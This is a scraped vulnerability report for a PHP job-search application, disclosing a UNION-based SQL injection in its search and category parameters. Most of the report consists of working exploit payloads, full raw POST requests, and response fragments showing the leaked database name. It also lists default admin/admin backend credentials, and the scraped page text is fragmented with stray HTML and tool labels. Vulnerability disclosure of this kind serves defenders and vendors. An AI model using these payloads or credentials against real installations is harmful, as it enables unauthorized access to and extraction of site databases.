

main

...

bug_report / vendors / campcodes.com / online-job-search-system / SQLi-9.md



debug601 Update SQLi-9.md

History

1 contributor

33 lines (23 sloc) | 1.39 KB

...

Complete Online Job Search System v1.0 has SQL injection

The password for the backend login account is: admin/admin

vendors: <https://www.campcodes.com/projects/php/online-job-search-system-using-php-mysql-free-download/>

Vulnerability File: /eris/index.php?q=result&searchfor=byfunction

Vulnerability location: /eris/index.php?q=result&searchfor=byfunction,SEARCH

Current database name: erisdb

[+] Payload: SEARCH=9890') union select

1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

+&CATEGORY=&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 // Leak place ---> SEARCH

POST /eris/index.php?q=result&searchfor=byfunction HTTP/1.1

Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=mho0fs26310tis816v3lqpu6q4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

SEARCH=9890') union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-



POST /eris/index.php?q=result&searchfor=byfunction HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=mho0fs26310tis816v3lqpu6q4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

SEARCH=9890') union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--&CATEGORY=&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

src="https://s3.amazonaws.com/uifaces/faces/twitter/fffabs/128.jpg" class="media-photo"> -->
fa-building-o">

class="media-body">
class="media-meta pull-right">erisdb
class="title">
href="index.php?q=viewjob&search=1">
erisdb

(Company 15)

class="summary">9</p>

</tr>
</td>
</div>
</div>
</tbody>

SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTION OTHER XSS LFI

Load URL
Split URL
Execute

http://192.168.1.19/eris/index.php?q=category&search=Banking' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,database(),15,16,17,18,19--+

☐ Post data
☐ Referrer
☐ 0xHEX
☐ %URL
☐ BASE64

Insert string to replace
Insert replacing string
☒ Replace All

Tel No. (+001) 123-456-789

Login

WEBSITE NAME

HOME JOB SEARCH POPULAR JOBS COMPANY HIRING NOW ABOUT US CONTACT

Advance Search

Result : 9890') union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- | Function : All

erisdb
9

(Company 15) erisdb